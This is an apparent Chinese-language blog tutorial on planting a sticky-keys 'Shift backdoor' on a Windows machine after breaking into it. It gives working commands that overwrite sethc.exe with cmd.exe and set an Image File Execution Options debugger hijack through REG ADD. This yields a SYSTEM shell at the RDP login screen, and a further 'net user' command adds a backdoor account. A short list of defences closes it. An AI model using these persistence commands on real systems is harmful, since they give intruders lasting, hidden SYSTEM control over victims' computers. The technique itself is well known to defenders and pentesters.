Windows Shift后门利用
/0x00 前言
通常,在内网渗透打下一台机子之后,可以给这台机子留个Shift后门。
0x01 Shift后门利用
简介
粘滞键漏洞,在Windows系统下连续按5下SHIFT键,可以启动系统的粘滞键功能,其进程名为Sethc.exe,应用程序在Windows\system32下。
黑客用其它应用程序(如:cmd.exe、explorer.exe 或木马、病毒)将Sethc.exe替换。当再次连续按5次SHIFT键,就会启动黑客替换的应用程序,如此便留下了5下SHIFT后门,黑客3389登录远程计算机时,在用户登录界面,连续按5下SHIFT就可以启动该漏洞,进而控制远程计算机。
漏洞原理
在Windows系统登录界面状态下,粘滞键仍可以以连续按5下SHIFT键运行,并且此时应用程序会以WINDOWS的最高权限-SYSTEM权限运行,所以计算机一旦被安装该后门,入侵者便可悄无声息地远程操纵计算机。
漏洞利用
大致思路如下:
拿到目标主机权限后,到Windows\system32目录下,将sethc.exe替换成cmd.exe;
其中,命令行方式为:
1 | copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe |
注意:要将dllcache文件夹中的缓存删掉,否则会自动复原回去。
注册表方式为:
1 | REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" |
命令说明:reg add是向注册表添加记录,后面跟的是注册表的位置,注意的是HKLM是HKEY_LOCAL_MACHINE的缩写。Image File Execution Option这个目录是用来设置镜像劫持的,要被劫持的就是命令中的sethc粘滞键程序,随后通过/ v
来指定键名,其中键名debugger是固定的,然后通过/ t
来指定REG_SZ字符串类型,最后通过/ d
来指定键的值,即被恶意替换的程序cmd.exe。
这样,在下次远程连接目标主机登录的时候就可以连续5下SHIFT触发cmd.exe;
可以输入explorer.exe调出程序管理系统方便操作;
当然,上面的方法存在缺陷,就是可能会导致远程连接无法持久进行,因此可以直接添加新用户便于下次直接登录:
1 | net user mi1k7ea 123456 /add |
防御方法
- 如果系统盘为NTFS文件系统,可以将sytem32下的sethc.exe文件设为everyone拒绝访问;
- 直接将其删除,最好的方法是在控制面板-辅助功能选项-粘滞键选项,将“使用快捷键”取消即可。;
- 通过注册表设置实现防御;